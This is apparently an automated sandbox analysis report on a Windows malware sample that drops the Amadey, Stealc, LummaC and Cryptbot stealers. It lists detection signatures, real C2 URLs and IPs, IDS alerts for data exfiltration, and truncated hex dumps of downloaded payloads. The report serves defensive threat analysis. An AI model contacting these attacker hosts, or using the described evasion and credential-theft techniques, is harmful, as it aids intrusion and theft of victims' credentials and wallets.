Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1561412
MD5: fc20a6c027aad707aa48822ff845634f
SHA1: c899fb0f23781c2059aa0b86628992f2f0a56eb8
SHA256: 4649973caf12dba324f3ae728a2547b8faaf5eeda88cc8943a0802098ce30782
Tags: exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Attempt to bypass Chrome Application-Bound Encryption
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
Yara detected Credential Flusher
Yara detected Cryptbot
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
C2 URLs / IPs found in malware configuration
Creates multiple autostart registry keys
Disable Windows Defender notifications (registry)
Disable Windows Defender real time protection (registry)
Disables Windows Defender Tamper protection
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies windows update settings
PE file contains section with special chars
Query firmware table information (likely to detect VMs)
Sigma detected: New RUN Key Pointing to Suspicious Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Sigma detected: Browser Started with Remote Debugging
Sigma detected: CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses taskkill to terminate processes
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
CryptBot A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for URL or domain
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllll Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpR% Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpZc Avira URL Cloud: Label: malware
Source: http://185.215.113.206/ZT Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllz? Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpb%/ Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php~b Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpox Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dll0 Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 00000000.00000003.1703329392.0000000004970000.00000004.00001000.00020000.00000000.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000000A.00000002.3029897215.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: 22a4a09ee3.exe.5272.11.memstrmin Malware Configuration Extractor: LummaC {"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe ReversingLabs: Detection: 60%
Multi AV Scanner detection for submitted file
Source: file.exe Virustotal: Detection: 50% Perma Link
Source: file.exe ReversingLabs: Detection: 60%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008413001\9108c36d20.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_77a536a2-2
Uses 32bit PE files
Source: file.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49856 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49860 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49884 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49909 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49918 version: TLS 1.2
Source: unknown HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49919 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49941 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.4:49952 version: TLS 1.2
Source: Binary string: mozglue.pdbP source: 8c3bfc0f85.exe, 0000000A.00000002.3082847664.000000006C19D000.00000002.00000001.01000000.0000001D.sdmp
Source: Binary string: nss3.pdb@ source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp
Source: Binary string: nss3.pdb source: 8c3bfc0f85.exe, 0000000A.00000002.3083536836.000000006D3EF000.00000002.00000001.01000000.0000001E.sdmp
Source: Binary string: mozglue.pdb source: 8c3bfc0f85.exe, 0000000A.00000002.3082847664.000000006C19D000.00000002.00000001.01000000.0000001D.sdmp
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\entries\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008410001\150f368769.exe File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cache2\trash14220\ Jump to behavior
Source: chrome.exe Memory has grown: Private usage: 0MB later: 40MB
Source: firefox.exe Memory has grown: Private usage: 1MB later: 190MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49753 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49759
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49788 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49809 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49835 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49836 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49836 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49836
Source: Network traffic Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49836 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49836
Source: Network traffic Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49836 -> 185.215.113.206:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49857 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49864 -> 34.116.198.130:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49881 -> 34.116.198.130:80
Source: Network traffic Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49916 -> 185.215.113.43:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:50004 -> 34.116.198.130:80
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49815 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49815 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49834 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49856 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49856 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49850 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49850 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49821 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49821 -> 172.67.162.84:443
Source: Network traffic Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49893 -> 172.67.162.84:443
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor URLs: https://property-imper.sbs/api
Source: Malware configuration extractor IPs: 185.215.113.43
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 10:22:09 GMTContent-Type: application/octet-streamContent-Length: 4395520Last-Modified: Sat, 23 Nov 2024 10:15:30 GMTConnection: keep-aliveETag: "6741ab42-431200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 00 c5 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 c5 00 00 04 00 00 fe 13 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec ef c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c ef c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6a 74 77 63 62 74 77 00 60 1b 00 00 90 a9 00 00 60 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 6d 61 63 73 77 7a 65 00 10 00 00 00 f0 c4 00 00 04 00 00 00 ec 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 c5 00 00 22 00 00 00 f0 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 10:22:22 GMTContent-Type: application/octet-streamContent-Length: 1824256Last-Modified: Sat, 23 Nov 2024 10:19:24 GMTConnection: keep-aliveETag: "6741ac2c-1bd600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 60 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 48 00 00 04 00 00 6c 12 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 29 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 6b 6f 69 64 6e 7a 66 00 40 19 00 00 10 2f 00 00 38 19 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 67 64 62 6c 74 6a 73 00 10 00 00 00 50 48 00 00 04 00 00 00 b0 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 48 00 00 22 00 00 00 b4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 10:22:30 GMTContent-Type: application/octet-streamContent-Length: 1814016Last-Modified: Sat, 23 Nov 2024 10:19:31 GMTConnection: keep-aliveETag: "6741ac33-1bae00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 60 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 69 00 00 04 00 00 70 a2 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 